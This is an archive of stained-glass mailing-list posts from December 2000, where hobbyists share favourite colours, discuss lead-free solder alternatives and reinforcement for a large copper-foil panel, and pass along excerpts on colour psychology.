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From: Steve Wernecke <steve@villagesoftsmith.com>
To: <glass@bungi.com>
Content-Type: text/plain; charset="us-ascii"; format=flowed
Subject: Re: favorite colors
Date: Sun, 03 Dec 2000 11:27:28 -0800
Message-ID: <4.3.2.7.2.20001203112512.00b4ba60@mail.villagesoftsmith.com>
References: <<1970Jan1.000.0>>
Precedence: bulk

I'm the same as you...favorite is purple but not to wear.  I have blue eyes 
and usually wear blue with earth tones.

Steve

At 10:21 AM 12/3/00, Mike Savad wrote:
>this is a general question for everyone...
>
>what is your favorite color?
>what is your favorite color that you would wear?
>and are you a guy or a gal?

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From: "Banker's House" <bankers@ictc.com>
To: "Mike Savad" <esavad@home.com>, <glass@bungi.com>
Content-Type: text/plain;
Subject: Re: favorite colors
Date: Sun, 3 Dec 2000 17:34:55 -0600
Message-ID: <1970Jan1.000.0>
Precedence: bulk

Mike-

I like purple too... but not in glass, and seldom in clothing.

When doing glass, I lean towards rich warm tones of amber, and deep dark
greens!

I like to wear dark colors, greens, burgundy, black when I dress up.
Thinking about my everyday wardrobe though, I have lots of cream and beige.

Guy here.

Dale In Dakota


-----Original Message-----
From: Mike Savad <esavad@home.com>
To: glass@bungi.com <glass@bungi.com>
Date: Sunday, December 03, 2000 1:07 PM
Subject: favorite colors


>this is a general question for everyone...
>
>what is your favorite color?
>what is your favorite color that you would wear?
>and are you a guy or a gal?
>


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From: "Linda Jo Letscher" <andor@ilnk.com>
To: <glass@bungi.com>
Subject: Re: favorite colors
Date: Sun, 3 Dec 2000 19:01:40 -0500
Message-ID: <1970Jan1.000.0>
References: <<1970Jan1.000.0>>
Precedence: bulk

Mike
My favorite color is purple.
I like to wear purple. (t-shirts, shorts, sweats, turtle necks, etc.)
I use purple/violet/ and any shade in the middle, in my glass if I can.
Linda Jo
----- Original Message -----
From: "Mike Savad" <esavad@home.com>
To: <glass@bungi.com>
Sent: Sunday, December 03, 2000 1:21 PM
Subject: favorite colors


> this is a general question for everyone...
>
> what is your favorite color?
> what is your favorite color that you would wear?
> and are you a guy or a gal?
>
>
> mine is purple, always has been, though i would'nt wear it. i would wear
> something in the blue family.
>
> i'm asking mainly for future reference, what colors would apply to how
many
> people. for me, i may make a blue box, but use a purple gem as an accent.
>
> currently i'm not sure what i'll do with the information, but i'm sure it
> has a use somewhere.
>
> thanks in advance
>
> ---Mike Savad
>
>
> ---
> Mike's Stained Glass - http://www.geocities.com/Paris/1141/
> Contains a wealth of stained glass information, stained glass tips,
stained
> glass instruction, and many, many stained glass links.
> ---
> 11-7-00 - New Stuff Added: How to solder a nice bead, and several new
> projects. You can now search my site with a built in engine.
>
> ----
> For subscription changes, please mail to: glass-request@bungi.com
> To send to the list,      please mail to: glass@bungi.com
> Archives available at http://www.bungi.com/glass


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From: CINDEL67@aol.com
To: glass@bungi.com
Content-Type: text/plain; charset="US-ASCII"
Subject: Re: favorite colors
Date: Sun, 3 Dec 2000 21:49:31 EST
Message-ID: <1970Jan1.000.0>
Precedence: bulk

Mike,
    I, too, must confess.....My favorite color is purple. I love the color, I 
have since I was very little.  

    I wear purple in clothing, shoes, jewelry and usually always incorporate 
it in my glass projects. I've even painted my bathroom PURPLE. At first my 
husband thought that I was nuts, but now he's used to it. LOL

Cinda


> this is a general question for everyone...
>  
>  what is your favorite color?
>  what is your favorite color that you would wear?
>  and are you a guy or a gal?
>  
>  
>  mine is purple, always has been, though i wouldn't wear it. i would wear
>  something in the blue family.
>  
>  I'm asking mainly for future reference, what colors would apply to how many
>  people. for me, i may make a blue box, but use a purple gem as an accent.
>  
>  currently I'm not sure what I'll do with the information, but I'm sure it
>  has a use somewhere.
>  
>  thanks in advance
>  
>  ---Mike Savad
>  
>  
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From: "Michele S" <mrsdesigns@hotmail.com>
To: glass@bungi.com
Content-Type: text/plain; format=flowed
Subject: Re: favorite colors
Date: Sun, 03 Dec 2000 23:19:24 -0500
Message-ID: <1970Jan1.000.0>
Precedence: bulk

OK, Usually I lurk, but this is too easy to pass up...
I love green.
My favorite color to wear is green.
I am a girl.

However, with hearing from the purple fan club so far, I have to admit I do 
love stained glass in purple!  I tend towards the cathedral colors in rich 
jewel tones of all kinds in lots of my work.

~Michele


----Original Message Follows----
From: "Mike Savad" <esavad@home.com>
To: <glass@bungi.com>
Subject: favorite colors
Date: Sun, 3 Dec 2000 13:21:57 -0500

this is a general question for everyone...

what is your favorite color?
what is your favorite color that you would wear?
and are you a guy or a gal?


mine is purple, always has been, though i would'nt wear it. i would wear
something in the blue family.

i'm asking mainly for future reference, what colors would apply to how many
people. for me, i may make a blue box, but use a purple gem as an accent.

currently i'm not sure what i'll do with the information, but i'm sure it
has a use somewhere.

thanks in advance

---Mike Savad


---
Mike's Stained Glass - http://www.geocities.com/Paris/1141/
Contains a wealth of stained glass information, stained glass tips, stained
glass instruction, and many, many stained glass links.
---
11-7-00 - New Stuff Added: How to solder a nice bead, and several new
projects. You can now search my site with a built in engine.

----
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From: Vern Sila <vsila@uswest.net>
To: glass@bungi.com
Content-Type: multipart/alternative;
Subject: The color purple
Date: Sun, 03 Dec 2000 22:51:55 -0600
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Precedence: bulk


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Purple sure seems to be a popular color. The following are exerts from a
book about color associations.
It might be a bit on the lengthy side, but may prove to be kind of
interesting for some.

                              Universal Psychological Color Association

This section of the manual will give the data which have been collected
on the Universal Psychological Associations
or the ethico-aesthetic values associated with the ten basic hues and
black, white, and gray.

The universal association will be listed under the categories which
follow.

General Associations
 This list will include the conceptual associations most often made with
the color.

General Symbolism
This list will give some of the color associations of ancient cultures.
In each case the culture will be identified with the
associations.  Remember that some of these seemingly mystical
associations still have a strong influence on the
universal color associations of today.

Sensory Associations
This list will indicate the universal associations of color to such
factors as taste, smell, food, appetite, and weight.

Preference Ratings
This list will give the statistical results of the universal favorite
colors of adults, children, and the elderly.

Visibility Ratings
This list will give the statistical results of such factors as color
visibility, attention/attraction ability, and legibility of
color combinations for letter forms.

Color to Shape Relationships
This list will give the most universally appropriate shapes or forms for
each color.

Visual Motion
This list will give the universal associations of motion and direction
for each color.

Environmental Uses
This list will suggest the best use of each color in such environments
as industry, the home, and other places where
applicable.

Miscellaneous
This list will consist of data on universal associations which do not
relate to the other categories.

In all cases, the rating of one is the highest.  For example, for the
hue red, the weight rating is two, which means red
appears to be the second most heavy color after number one, black.

Universal associations of tints and shades of each hue are given where
the data are available.

The material on the universal psychological color associations is not
necessarily factual, but is given only as
suggestions for a more complete general reference to color.

                                         Purple

General Associations
Nostalgia, memories, power, spirituality, sublimation, melancholia,
meditative, mystical, thought, dignified, subducing,
aesthetic, clings to the earth, important, celibacy, rage priggishness.

General Symbolism
Ancient Medicine: stimulates heart, lungs, blood vessels, female sex
glands, thwarts adversity.
Egypt: earth.
Greece: sea.
Rome: imperial, Jupiter.
Zunis: water.
Heraldry: Purpure, royalty and rank.
Christianity: suffering, individual, penitent.
American University: law.

Sensory Associations
Taste: bitter.
Appetite Rating: 11
Weight Rating: 84

Preference Ratings
Adults: 4
Children: 7

Visibility Ratings
Attention/Attraction: 7

Color to Shape Relationship
Best shapes are ellipses, ovals, flowing forms.

Environmental Uses
Not good for public spaces or sick rooms.

Miscellaneous
The letter U.

Light Valued Purple: Lavender
Smell rating: 2
Smell: Perfumed.
Appetite rating: good for sweets.




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<!doctype html public "-//w3c//dtd html 4.0 transitional//en">
<html>
<font size=-1>Purple sure seems to be a popular color. The following are
exerts from a book about color associations.</font>
<br><font size=-1>It might be a bit on the lengthy side, but may prove
to be kind of interesting for some.</font><font size=-1></font>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
<b>Universal Psychological Color Association</b>
<p><font size=-1>This section of the manual will give the data which have
been collected on the Universal Psychological Associations</font>
<br><font size=-1>or the ethico-aesthetic values associated with the ten
basic hues and black, white, and gray.</font><font size=-1></font>
<p><font size=-1>The universal association will be listed under the categories
which follow.</font><font size=-1></font>
<p><b><font size=-1>General Associations</font></b>
<br><font size=-1>&nbsp;This list will include the conceptual associations
most often made with the color.</font><font size=-1></font>
<p><b><font size=-1>General Symbolism</font></b>
<br><font size=-1>This list will give some of the color associations of
ancient cultures.&nbsp; In each case the culture will be identified with
the</font>
<br><font size=-1>associations.&nbsp; Remember that some of these seemingly
mystical associations still have a strong influence on the</font>
<br><font size=-1>universal color associations of today.</font><font size=-1></font>
<p><b><font size=-1>Sensory Associations</font></b>
<br><font size=-1>This list will indicate the universal associations of
color to such factors as taste, smell, food, appetite, and weight.</font><font size=-1></font>
<p><b><font size=-1>Preference Ratings</font></b>
<br><font size=-1>This list will give the statistical results of the universal
favorite colors of adults, children, and the elderly.</font><font size=-1></font>
<p><b><font size=-1>Visibility Ratings</font></b>
<br><font size=-1>This list will give the statistical results of such factors
as color visibility, attention/attraction ability, and legibility of</font>
<br><font size=-1>color combinations for letter forms.</font><font size=-1></font>
<p><b><font size=-1>Color to Shape Relationships</font></b>
<br><font size=-1>This list will give the most universally appropriate
shapes or forms for each color.</font><font size=-1></font>
<p><b><font size=-1>Visual Motion</font></b>
<br><font size=-1>This list will give the universal associations of motion
and direction for each color.</font><font size=-1></font>
<p><b><font size=-1>Environmental Uses</font></b>
<br><font size=-1>This list will suggest the best use of each color in
such environments as industry, the home, and other places where</font>
<br><font size=-1>applicable.</font><font size=-1></font>
<p><b><font size=-1>Miscellaneous</font></b>
<br><font size=-1>This list will consist of data on universal associations
which do not relate to the other categories.</font><font size=-1></font>
<p><font size=-1>In all cases, the rating of one is the highest.&nbsp;
For example, for the hue red, the weight rating is two, which means red</font>
<br><font size=-1>appears to be the second most heavy color after number
one, black.</font><font size=-1></font>
<p><font size=-1>Universal associations of tints and shades of each hue
are given where the data are available.</font><font size=-1></font>
<p><font size=-1>The material on the universal psychological color associations
is not necessarily factual, but is given only as</font>
<br><font size=-1>suggestions for a more complete general reference to
color.</font><b><font size=-1></font></b>
<p><b><font size=+2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
Purple</font></b><font size=-1></font>
<p><b><font size=-1>General Associations</font></b>
<br><font size=-1>Nostalgia, memories, power, spirituality, sublimation,
melancholia, meditative, mystical, thought, dignified, subducing,</font>
<br><font size=-1>aesthetic, clings to the earth, important, celibacy,
rage priggishness.</font><font size=-1></font>
<p><b><font size=-1>General Symbolism</font></b>
<br><font size=-1><i>Ancient Medicine</i>: stimulates heart, lungs, blood
vessels, female sex glands, thwarts adversity.</font>
<br><font size=-1><i>Egypt</i>: earth.</font>
<br><font size=-1><i>Greece</i>: sea.</font>
<br><font size=-1><i>Rome</i>: imperial, Jupiter.</font>
<br><font size=-1><i>Zunis</i>: water.</font>
<br><font size=-1><i>Heraldry</i>: Purpure, royalty and rank.</font>
<br><font size=-1><i>Christianity</i>: suffering, individual, penitent.</font>
<br><font size=-1><i>American University</i>: law.</font><font size=-1></font>
<p><b><font size=-1>Sensory Associations</font></b>
<br><font size=-1><i>Taste</i>: bitter.</font>
<br><font size=-1><i>Appetite Rating</i>: 11</font>
<br><font size=-1><i>Weight Rating</i>: 84</font><font size=-1></font>
<p><b><font size=-1>Preference Ratings</font></b>
<br><font size=-1><i>Adults</i>: 4</font>
<br><font size=-1>Children: 7</font><font size=-1></font>
<p><b><font size=-1>Visibility Ratings</font></b>
<br><font size=-1>Attention/Attraction: 7</font><font size=-1></font>
<p><b><font size=-1>Color to Shape Relationship</font></b>
<br><font size=-1>Best shapes are ellipses, ovals, flowing forms.</font><font size=-1></font>
<p><b><font size=-1>Environmental Uses</font></b>
<br><font size=-1>Not good for public spaces or sick rooms.</font><font size=-1></font>
<p><b><font size=-1>Miscellaneous</font></b>
<br><font size=-1>The letter U.</font><font size=-1></font>
<p><b><font size=-1>Light Valued Purple: Lavender</font></b>
<br><font size=-1><i>Smell rating</i>: 2</font>
<br><font size=-1><i>Smell</i>: Perfumed.</font>
<br><font size=-1><i>Appetite rating</i>: good for sweets.</font>
<br>&nbsp;
<br>&nbsp;
<br>&nbsp;</html>

--------------6FE6A3F8823B502AEF4D4B62--

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From owner-glass Sun Dec  3 21:34:53 2000
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X-Path: bright.net!arasai
From: "Sarah" <arasai@bright.net>
To: <glass@bungi.com>
Content-Type: text/plain;
Subject: RE: Favorite Color
Date: Mon, 4 Dec 2000 00:14:58 -0500
Message-ID: <1970Jan1.000.0>
Precedence: bulk

Clear DayHi Mike,
  I had to come out of lurkdom to reply to this request! My favorite color
is Gray. I like a pale, soft gray that is almost white, it's called DOVE
GRAY. I am female, with blonde hair and blue eyes, I wear mostly soft gray
accented with pale pink. My house is mostly pale gray with white woodwork
because it "opens up" my small areas and is very peaceful! It also makes a
nice neutral background for my glass displays! As far as my glass choices, I
LOVE Cobalt Blue!
Sarah
May your day be as beautiful as you are...!

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From owner-glass Mon Dec  4 05:20:12 2000
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X-Path: arrakis.es!kiram
From: "Kira Mason" <kiram@arrakis.es>
To: "bungi" <glass@bungi.com>
Subject: RV: favorite colors
Date: Mon, 4 Dec 2000 14:09:19 +0100
Message-ID: <1970Jan1.000.0>
Precedence: bulk

Hi Mike,
I don't have one particular fav. color, I have lots, for wearing they are:
red, forest green, royal blue, mauve and rusts.  I pretty much bend towards
those colors also in SG.  I am a girl.
Kira
-----Mensaje original-----
De: Mike Savad <esavad@home.com>
Para: glass@bungi.com <glass@bungi.com>
Fecha: domingo 3 de diciembre de 2000 20:01
Asunto: favorite colors


>this is a general question for everyone...
>
>what is your favorite color?
>what is your favorite color that you would wear?
>and are you a guy or a gal?
>
>
>mine is purple, always has been, though i would'nt wear it. i would wear
>something in the blue family.
>
>i'm asking mainly for future reference, what colors would apply to how many
>people. for me, i may make a blue box, but use a purple gem as an accent.
>
>currently i'm not sure what i'll do with the information, but i'm sure it
>has a use somewhere.
>
>thanks in advance
>
>---Mike Savad
>
>
>---
>Mike's Stained Glass - http://www.geocities.com/Paris/1141/
>Contains a wealth of stained glass information, stained glass tips, stained
>glass instruction, and many, many stained glass links.
>---
>11-7-00 - New Stuff Added: How to solder a nice bead, and several new
>projects. You can now search my site with a built in engine.
>
>----
>For subscription changes, please mail to: glass-request@bungi.com
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>Archives available at http://www.bungi.com/glass


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From owner-glass Mon Dec  4 05:57:35 2000
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X-Path: att.com!vhutchinson
From: "Hutchinson, Van R, BMSLS" <vhutchinson@att.com>
To: glass@bungi.com
Content-Type: multipart/mixed;
Subject: Alternatives to using lead solder in stained glass  (URGENT)
Date: Mon, 4 Dec 2000 08:39:57 -0500 
Message-ID: <1970Jan1.000.0>
Precedence: bulk

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_000_01C05DF7.B10F5050
Content-Type: text/plain;
	charset="iso-8859-1"

 
 
 
 
 
 
 
 

Hi-- I reviewed your web and some of the dialogues on the site, and would
like to ask if you could direct this question out to the audience and
suggest any resoures (people/institutes/magazines/ etc. who could help with
the following:
 
My wife is working with Tiffany-style lamp stained glass projects and
stained glass & vitral art in geneal.  She is chemically sensitive and has
uterine fibroid cysts and does not want any more toxicity in her body.  She
is using lead solder and hates it.  She is aware of copper foil, but longer
term, we would like to find an alternative to both.  
 
Is there any substance that she could use instead?  Perhaps a silicone or
non-toxic epoxy?  (pardon the oxymoron.)  Has anyone invented a glass-like
substance with a low melting point that can replace lead?
 
Desperate in Fort Lauderdale,

 

	Van Hutchinson, AT&T Data Network
954-938-4757  mailto:vhutchinson@att.com 
Mobile:  954-232-1011 http://www.ipservices.att.com/data/

 

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From owner-glass Mon Dec  4 07:08:49 2000
Return-Path: <owner-glass>
Received: by daver.bungi.com
	via smail with stdio
	id <m142x0b-0000g2a@daver.bungi.com>
	for rglass-42; Mon, 4 Dec 2000 06:54:25 -0800 (PST)
	(Smail-3.2.0.94 1997-Apr-22 #527 built 2000-Nov-28)
X-Path: glassgirl.com!jenny
From: "Jennifer S. Geldard" <jenny@glassgirl.com>
To: "Mike Savad" <esavad@home.com>
Content-Type: text/plain;
Subject: RE: favorite colors
Date: Mon, 4 Dec 2000 08:44:30 -0500
Message-ID: <1970Jan1.000.0>
References: <<1970Jan1.000.0>>
Precedence: bulk

My favorite colors are olive green and purple as well, and I love them
together.
I used to own a bead store, and I found as far as the general public is
concerned, blues and purples sold the best. Yellow is certain death unless
combined with something else.
although creams sold well. But in stained glass, I use everything, and I
love all the stipple glass. The sheets with multiple colors running into
each other... heaven. If it wasn't so sharp, I'd snuggle with it. :-)
-Jen

from the desk of Jennifer Geldard
http://www.glassgirl.com

-----Original Message-----
From: Mike Savad [mailto:esavad@home.com]
Sent: Sunday, December 03, 2000 1:22 PM
To: glass@bungi.com
Subject: favorite colors


this is a general question for everyone...

what is your favorite color?
what is your favorite color that you would wear?
and are you a guy or a gal?


mine is purple, always has been, though i would'nt wear it. i would wear
something in the blue family.

i'm asking mainly for future reference, what colors would apply to how many
people. for me, i may make a blue box, but use a purple gem as an accent.

currently i'm not sure what i'll do with the information, but i'm sure it
has a use somewhere.

thanks in advance

---Mike Savad


---
Mike's Stained Glass - http://www.geocities.com/Paris/1141/
Contains a wealth of stained glass information, stained glass tips, stained
glass instruction, and many, many stained glass links.
---
11-7-00 - New Stuff Added: How to solder a nice bead, and several new
projects. You can now search my site with a built in engine.

----
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To send to the list,      please mail to: glass@bungi.com
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----
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From owner-glass Mon Dec  4 07:25:46 2000
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	id <m142x3s-0000tea@daver.bungi.com>
	for rglass-42; Mon, 4 Dec 2000 06:57:48 -0800 (PST)
	(Smail-3.2.0.94 1997-Apr-22 #527 built 2000-Nov-28)
X-Path: mindspring.com!sonyaamt
From: sonyaamt@mindspring.com
To: glass@bungi.com
Subject: Reinforcement
Date: Mon, 04 Dec 2000 09:31:54 -0500
Message-ID: <1970Jan1.000.0>
Precedence: bulk

I need the experience of this wonderful list on a question.  I am working on a 74" wide  x 15" height  copper foil panel that is going to be hung in a window.  Do I need rebar?  Or can I run copper reinforcement throughout it?  If I need to use rebar, does it need to horizontal or vertical and how much space do I allow in my pattern?

Thank you

Sonya
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From owner-glass Mon Dec  4 07:51:21 2000
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	id <m142xYj-0000r9a@daver.bungi.com>
	for rglass-42; Mon, 4 Dec 2000 07:29:41 -0800 (PST)
	(Smail-3.2.0.94 1997-Apr-22 #527 built 2000-Nov-28)
X-Path: warmglass.com!mbwalker
From: "Brad Walker" <mbwalker@warmglass.com>
To: "Hutchinson, Van R, BMSLS" <vhutchinson@att.com>, <glass@bungi.com>
Content-Type: text/plain;
Subject: Re: Alternatives to using lead solder in stained glass  (URGENT)
Date: Mon, 4 Dec 2000 10:26:23 -0500
Message-ID: <1970Jan1.000.0>
References: <<1970Jan1.000.0>>
Precedence: bulk

Try this link for info on leadfree solder:
http://www.elvesofester.com/leadfree.html

Brad Walker
----------------------------------------------------------------------------
------
For information about warm glass techniques and processes
such as fusing, slumping, and kiln forming, please visit
the Warm Glass website at http://www.warmglass.com
----- Original Message -----
From: Hutchinson, Van R, BMSLS <vhutchinson@att.com>
To: <glass@bungi.com>
Sent: Monday, December 04, 2000 8:39 AM
Subject: Alternatives to using lead solder in stained glass (URGENT)


> This message is in MIME format. Since your mail reader does not understand
> this format, some or all of this message may not be legible.
>
> ------_=_NextPart_000_01C05DF7.B10F5050
> Content-Type: text/plain;
> charset="iso-8859-1"
>
>
>
>
>
>
>
>
>
>
> Hi-- I reviewed your web and some of the dialogues on the site, and would
> like to ask if you could direct this question out to the audience and
> suggest any resoures (people/institutes/magazines/ etc. who could help
with
> the following:
>
> My wife is working with Tiffany-style lamp stained glass projects and
> stained glass & vitral art in geneal.  She is chemically sensitive and has
> uterine fibroid cysts and does not want any more toxicity in her body.
She
> is using lead solder and hates it.  She is aware of copper foil, but
longer
> term, we would like to find an alternative to both.
>
> Is there any substance that she could use instead?  Perhaps a silicone or
> non-toxic epoxy?  (pardon the oxymoron.)  Has anyone invented a glass-like
> substance with a low melting point that can replace lead?
>
> Desperate in Fort Lauderdale,
>
>
>
> Van Hutchinson, AT&T Data Network
> 954-938-4757  mailto:vhutchinson@att.com
> Mobile:  954-232-1011 http://www.ipservices.att.com/data/
>
>
>
> ------_=_NextPart_000_01C05DF7.B10F5050
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From owner-glass Mon Dec  4 08:40:16 2000
Return-Path: <owner-glass>
Received: by daver.bungi.com
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	id <m142yA9-0000Mda@daver.bungi.com>
	for rglass-42; Mon, 4 Dec 2000 08:08:21 -0800 (PST)
	(Smail-3.2.0.94 1997-Apr-22 #527 built 2000-Nov-28)
X-Path: glassgirl.com!jenny
From: "Jennifer S. Geldard" <jenny@glassgirl.com>
To: "Hutchinson, Van R, BMSLS" <vhutchinson@att.com>
Content-Type: text/plain;
Subject: RE: Alternatives to using lead solder in stained glass  (URGENT)
Date: Mon, 4 Dec 2000 10:53:57 -0500
Message-ID: <1970Jan1.000.0>
References: <<1970Jan1.000.0>>
Precedence: bulk

Hi,
I'm not sure of an alternative to the copper foil, which in itself is not
dangerous, but I use a wonderful lead free solder in my stained glass from a
company called Johnson Manufacturing.
It's a tin/silver/copper alloy the stock # is IA423
Their phone # is (319)289-5123

I've tried other lead free solders before and they have always been
difficult. they also dont take a patina very well, but this one is great.
I'd also suggest using their flux #05-23.
Make sure you've got good ventilation no matter which solder you use, to
keep the fumes away from your face, and never eat where you work.
Good luck,
Jen

-----Original Message-----
From: Hutchinson, Van R, BMSLS [mailto:vhutchinson@att.com]
Sent: Monday, December 04, 2000 8:40 AM
To: glass@bungi.com
Subject: Alternatives to using lead solder in stained glass (URGENT)


This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

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Hi-- I reviewed your web and some of the dialogues on the site, and would
like to ask if you could direct this question out to the audience and
suggest any resoures (people/institutes/magazines/ etc. who could help with
the following:

My wife is working with Tiffany-style lamp stained glass projects and
stained glass & vitral art in geneal.  She is chemically sensitive and has
uterine fibroid cysts and does not want any more toxicity in her body.  She
is using lead solder and hates it.  She is aware of copper foil, but longer
term, we would like to find an alternative to both.

Is there any substance that she could use instead?  Perhaps a silicone or
non-toxic epoxy?  (pardon the oxymoron.)  Has anyone invented a glass-like
substance with a low melting point that can replace lead?

Desperate in Fort Lauderdale,



	Van Hutchinson, AT&T Data Network
954-938-4757  mailto:vhutchinson@att.com
Mobile:  954-232-1011 http://www.ipservices.att.com/data/



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From owner-glass Mon Dec  4 12:01:09 2000
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X-Path: mindspring.com!sonyaamt
From: sonyaamt@mindspring.com
To: glass@bungi.com
Subject: Re: RE: Reinforcement
Date: Mon, 04 Dec 2000 14:44:51 -0500
Message-ID: <1970Jan1.000.0>
Precedence: bulk

The frame will be a wood molding that I will make.  I usually use the zinc on the edge.  Hanging - well I thought that a series of hooks from the top would be the best way to hang it or a hook at each end.  But I would love any advice you'd like to share.

Sonya

"Spitzer, Charlie" <Charlie_Spitzer@stratus.com> wrote:
> need more info: what is the frame and edge going to be? how is to be hung
(from the ends, the middle, or what?

regards,
charlie
phx, az

> -----Original Message-----
> From: sonyaamt@mindspring.com [mailto:sonyaamt@mindspring.com]
> Sent: Monday, December 04, 2000 7:32 AM
> To: glass@bungi.com
> Subject: Reinforcement
> 
> 
> I need the experience of this wonderful list on a question.  
> I am working on a 74" wide  x 15" height  copper foil panel 
> that is going to be hung in a window.  Do I need rebar?  Or 
> can I run copper reinforcement throughout it?  If I need to 
> use rebar, does it need to horizontal or vertical and how 
> much space do I allow in my pattern?
> 
> Thank you
> 
> Sonya
> ----
> For subscription changes, please mail to: glass-request@bungi.com
> To send to the list,      please mail to: glass@bungi.com
> Archives available at http://www.bungi.com/glass
> 

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From owner-glass Mon Dec  4 12:31:20 2000
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X-Path: mb.sympatico.ca!aquarian
From: "Norm Burns" <aquarian@mb.sympatico.ca>
To: <glass@bungi.com>
Content-Type: multipart/alternative;
Subject: art glass, suncatchers, painted glass, stained glass etc. etc.
Date: Mon, 4 Dec 2000 14:08:29 -0600
Message-ID: <1970Jan1.000.0>
Precedence: bulk

This is a multi-part message in MIME format.

------=_NextPart_000_006E_01C05DFB.AD618DC0
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	charset="iso-8859-1"
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Our company, Blue Sky Art Glass can supply you and your associates with =
any and all designs in glass from nature scenes, cartoon characters =
(licensed) to advertising specialties.  We supply only in large volumes =
and will custom produce anything in this medium and any size in a =
multitude of products.  For more details we would be happy to respond to =
your request.  We look forward to hearing from you.

Best regards,

Norm Burns

------=_NextPart_000_006E_01C05DFB.AD618DC0
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<DIV><STRONG>Our company, Blue Sky Art Glass can supply you and your =
associates=20
with any and all designs in glass from nature scenes, cartoon characters =

(licensed) to advertising specialties.&nbsp; We supply only in large =
volumes and=20
will custom produce anything in this medium and any size in a multitude =
of=20
products.&nbsp; For more details we would be happy to respond to your=20
request.&nbsp; We look forward to hearing from you.</STRONG></DIV>
<DIV><STRONG></STRONG>&nbsp;</DIV>
<DIV><STRONG>Best regards,</STRONG></DIV>
<DIV><STRONG></STRONG>&nbsp;</DIV>
<DIV><STRONG>Norm Burns</STRONG></DIV></BODY></HTML>

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From owner-glass Mon Dec  4 13:32:21 2000
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X-Path: stratus.com!Charlie_Spitzer
From: "Spitzer, Charlie" <Charlie_Spitzer@stratus.com>
To: "'glass@bungi.com'" <glass@bungi.com>
Content-Type: text/plain;
Subject: RE: Reinforcement
Date: Mon, 4 Dec 2000 14:13:28 -0700 
Message-ID: <1970Jan1.000.0>
Precedence: bulk

you don't need reinforcement of the glass if it's going to be in a wooden
(at least 2") frame imho.

however, this is gonna be heavy, and if you hang it from the ends of the
frame, it's gong to bow down in the middle. i'd tie the top and bottom frame
together with some sort of frame piece or rod somewhere in the middle, and
attempt to hang it so that some support is given to the middle of the frame.

i'd also use 1/2" lead rather than zinc. it's not doing any of the support,
is easier to solder to, can be trimmed to fit the frame easier, and is just
as strong when buried in a frame. i'd also put some rod in the bottom part
of the H, which will prevent the weight of the glass crushing the came. also
run the vertical came pieces to the bottom, rather than ending them on the
horizontal pieces. this will also help with support and sagging.

regards,
charlie
phx, az

-----Original Message-----
From: sonyaamt@mindspring.com [mailto:sonyaamt@mindspring.com] 
Sent: Monday, December 04, 2000 12:45 PM
To: glass@bungi.com
Subject: Re: RE: Reinforcement


The frame will be a wood molding that I will make.  I usually use the zinc
on the edge.  Hanging - well I thought that a series of hooks from the top
would be the best way to hang it or a hook at each end.  But I would love
any advice you'd like to share.

Sonya

"Spitzer, Charlie" <Charlie_Spitzer@stratus.com> wrote:
> need more info: what is the frame and edge going to be? how is to be hung
(from the ends, the middle, or what?

regards,
charlie
phx, az

> -----Original Message-----
> From: sonyaamt@mindspring.com [mailto:sonyaamt@mindspring.com]
> Sent: Monday, December 04, 2000 7:32 AM
> To: glass@bungi.com
> Subject: Reinforcement
> 
> 
> I need the experience of this wonderful list on a question.  
> I am working on a 74" wide  x 15" height  copper foil panel 
> that is going to be hung in a window.  Do I need rebar?  Or 
> can I run copper reinforcement throughout it?  If I need to 
> use rebar, does it need to horizontal or vertical and how 
> much space do I allow in my pattern?
> 
> Thank you
> 
> Sonya
> ----
> For subscription changes, please mail to: glass-request@bungi.com
> To send to the list,      please mail to: glass@bungi.com
> Archives available at http://www.bungi.com/glass
> 

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From owner-glass Mon Dec  4 14:37:28 2000
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X-Path: pacbell.net!ezbongo2
From: rrk <ezbongo2@pacbell.net>
To: Mike Savad <esavad@home.com>
Content-Type: text/plain; charset=us-ascii
Subject: Re: favorite colors
Date: Mon, 04 Dec 2000 13:26:16 -0800
Message-ID: <1970Jan1.000.0>
References: <<1970Jan1.000.0@mta4.snfc21.pbi.net>>
Precedence: bulk



Mike Savad wrote:

> this is a general question for everyone...
>
> what is your favorite color?
> what is your favorite color that you would wear?
> and are you a guy or a gal?
>
> mine is purple, always has been, though i would'nt wear it. i would wear
> something in the blue family.
>
> i'm asking mainly for future reference, what colors would apply to how many
> people. for me, i may make a blue box, but use a purple gem as an accent.
>
> currently i'm not sure what i'll do with the information, but i'm sure it
> has a use somewhere.

Hi Mike,

Definitely a man here.

Current favorite colors for clothes : EARTH COLORS (about 80%) with the balance
being REDS and BLUES (denim and things that go with denim).  Where earth colors
are greens, browns, ochre, and so on.

General favorite color : GREEN and EARTH COLORS with RED and BLUE being tied
for second.

Current favorite colors for glass : EARTH COLORS

Green and earth colors I associate with life and living things.
I associate red with power and intensity and sex.
I associate blue with thought and reflection.

Purple?  Yer kiddin' me.  YUCK.  Strictly an accent color for me but very
useful in that context.  I associate purple and/or lavender with femininity,
certain flowers, old ladies, hippiedom, and homosexuals.  Isn't Tinky-Winky a
purple colored character?  And isn't Barney the Dinosaur purple? <G>

Anyway ... different strokes for different folks.

later .... Bob Kerr

----
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From owner-glass Mon Dec  4 14:39:34 2000
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X-Path: ix.netcom.com!gunnx4
From: Suzanne Gunn <gunnx4@ix.netcom.com>
To: glass@bungi.com
Content-Type: text/plain; charset=x-user-defined
Subject: Mike's color study
Date: Mon, 04 Dec 2000 16:18:54 -0600
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Hi Mike.

I am drawn to bright, contrasting colors, combined they just seem happy
to me.

 purple/yellow
    Turquoise/yellow

Im not sure I really have *a* fav color, my usual response when asked my
fav color is "the rainbow".

I like colorful things with lots of character.  Just like people.

Suzanne

I wear a lot of blue.
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From owner-glass Mon Dec  4 15:01:53 2000
